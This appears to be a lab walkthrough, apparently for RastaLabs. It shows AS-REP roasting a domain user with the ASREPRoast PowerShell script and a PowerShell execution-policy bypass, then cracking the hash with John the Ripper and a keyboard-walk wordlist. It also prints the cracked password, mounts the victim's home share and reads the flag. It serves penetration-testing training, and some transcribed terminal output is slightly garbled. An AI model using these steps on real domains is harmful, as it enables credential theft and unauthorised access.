

for privilege escalation found the host is vulnerable to asrep roasting,

source - <https://github.com/HarmJ0y/ASREPROast>

Reference - <https://blog.xpnsec.com/kerberos-attacks-part-2/>

upload the script and execute

```
powershell -ep bypass
```

```
Import-module ./asreproast.ps1
```

```
Invoke-ASREPROast -Domain rastalabs.local -Server 10.10.120.1
```

```
Invoke-ASREPROast -Domain rastalabs.local -Server 10.10.120.1 | select -expand hash
```

```
File Edit View Search Terminal Tabs Help
openvpn z0x0z_rasta.ovpn x root@kali: ~/Desktop/rasta/kw... x root@kali: ~/Desktop/rasta x msfconsole -r hta_attack/unicor... x root@kali: ~/Desktop/JohnTheR... x
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\users\bowen\gopi> Import-module ./asreproast.ps1
Import-module ./asreproast.ps1
PS C:\users\bowen\gopi>

PS C:\users\bowen\gopi> Invoke-ASREPROast -Domain rastalabs.local -Server 10.10.120.1
Invoke-ASREPROast -Domain rastalabs.local -Server 10.10.120.1

SamaccountName DistinguishedName Hash
-----
ngodfrey CN=Nicholas Godfrey,CN=Users,DC=rastalabs,DC=local $krb5asrep$ngodfrey@rastalabs.local:794c189bfd01e9...

PS C:\users\bowen\gopi> Invoke-ASREPROast -Domain rastalabs.local -Server 10.10.120.1 | select -Expand hash
Invoke-ASREPROast -Domain rastalabs.local -Server 10.10.120.1 | select -Expand hash
$krb5asrep$ngodfrey@rastalabs.local:e45cd86d3de8bd2cf9a5ff9f4bdcf631$31f9dec59429156c2d108f05944e6b83165e17ed9755de1517c2196db930aa9e6d02619989ceb1fa458910f60
37544673be3f4d25b60f92b9359038ad1e4a692fdf80e68daef46d94523f23c5a80f1f3ae1b24f80e77de00c5305ee783269267f87a0a60cab07d7b91cd01ac55cbde1561b7df76d019647239e3a67
10512e8ae1120185510b269815f2f0e7421a2412b8c5292c86c75c1595cce76791a8fb997166329401ef58d9cd7ea9498e9c73f745a97adb747f533e01e5711ec8a2a2385089c954d4cd7eb03d57c5
59ac2343e7678c3376457f95b0af82e5b8173ec10f8bf079750f3869ca406813fb7a8aedec068db
PS C:\users\bowen\gopi>

PS C:\users\bowen\gopi> Invoke-ASREPROast
Invoke-ASREPROast

SamaccountName DistinguishedName Hash
-----
ngodfrey CN=Nicholas Godfrey,CN=Users,DC=rastalabs,DC=local $krb5asrep$ngodfrey@rastalabs.local:84fd74459a2805...

PS C:\users\bowen\gopi> Invoke-ASREPROast | select -Expand hash
Invoke-ASREPROast | select -Expand hash
$krb5asrep$ngodfrey@rastalabs.local:52cce3017330cdfebb281436abe84226$5a6468aac6a43eeb9227e56de4121045c184dfd406d74e0afd9239ff8c430621e3b0b24fcd2151193e0cd992e
c15717564e451c2d61e084aefdbdf8536ede664654c0e98aae30c7ff7e9f4210ba065126cb2e20a7dbe7bccfd428e41cb926267147a4efc3be3f8e4e6b5f826d9253bdbd6aefcdec1d6697204036d4
97e04f6b0eae3844abc519cdcc9b34dc752687cb62ba9269f5bbc52ca42679b93abbff0f888a46263000800acd0f0de6b0dcf3fd25f67e1b9ecee5f93e94aldcd02c3f067223b5ee90a150f2a5
dc02ca5a69a6096250c0b2f4772603615a7facd666aca5a3bfdcab1fcd7f41a475da083451fed79
PS C:\users\bowen\gopi>

PS C:\users\bowen\gopi>
```

copy the hash to a txt file and save it with utf-8 encoding [becoz john use utf-8]

create a wordlist file using tool kwpprocessor,

reference - <https://cyberarms.wordpress.com/2018/02/13/creating-hashcat-keymap-walking-password-wordlists/>

./kwp -z basechars/full.base keymaps/en-us.keymap routes/2-to-16-max-3-direction-changes.route > kwp3.txt

use john magnumripper [jumbo version] , <https://github.com/magnumripper/JohnTheRipper>

```
root@kali ~/Desktop/JohnTheRipper/run 1/ bleeding-jumbo ? ./john ../../rasta/has.txt --wordlist=../../rasta/kwprocessor/kwp3.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 280 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
zaq123$%^&*()_+ ($krb5asrep$ngodfrey@rastalabs.local)
lg 0:00:00:01 DONE (2018-07-02 04:33) 0.6250g/s 482240p/s 482240c/s 482240C/s m<>?;p0IUYTREWQ..VcxzaqWERTYUIOP
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@kali ~/Desktop/JohnTheRipper/run 2/ bleeding-jumbo ?
```

username - ngodfrey

password - zaq123\$%^&*()_+

```
root@kali ~/Desktop/rasta/kwprocessor 1/ master ? cat kwp3.txt | grep -Fn "zaq123$%^&*()_+"
71564:zaq123$%^&*()_+
root@kali ~/Desktop/rasta/kwprocessor 2/ master ? cat kwp3.txt | grep -Fn "zaq123$%^&*()_+" | cut -d : -f1
71564
root@kali ~/Desktop/rasta/kwprocessor 3/ master ?
```

enumerate the user ngodfrey,

```
C:\users\bowen\gopi>net user ngodfrey /domain
net user ngodfrey /domain
The request will be processed at a domain controller for domain rastalabs.local.

User name           12 ngodfrey
Full Name           Nicholas Godfrey
Comment             once again (6) 7/24/2018
User's comment      http://10.10.14.83/
Country/region code 000 (System Default)
Account active       Yes Hope
Account expires      Never (2) 7/23/2018
Password last set    15/11/2017 11:01:37
Password expires     Never
Password changeable  16/11/2017 11:01:37
Password required    Yes
User may change password Yes
Workstations allowed All Hope
Logon script         run this 7/23/2018
User profile         http://10.10.14.83/
Home directory       \\fs01.rastalabs.local\home$\ngodfrey
Last logon           24/07/2018 19:56:28
Logon hours allowed  All
Local Group Memberships *Domain Users
Global Group memberships
The command completed successfully.
```

mount the home directory,

```
net use H: \\fs01.rastalabs.local\home$\ngodfrey /user:ngodfrey "zaq123$%^&*()_+"
```

```
C:\Users\bowen\gopi>H:
H:

H:\Desktop>type flag.txt
type flag.txt
RASTA{k3rb3r05_15_7r1cky}
H:\Desktop>
```

RASTA{k3rb3r05_15_7r1cky}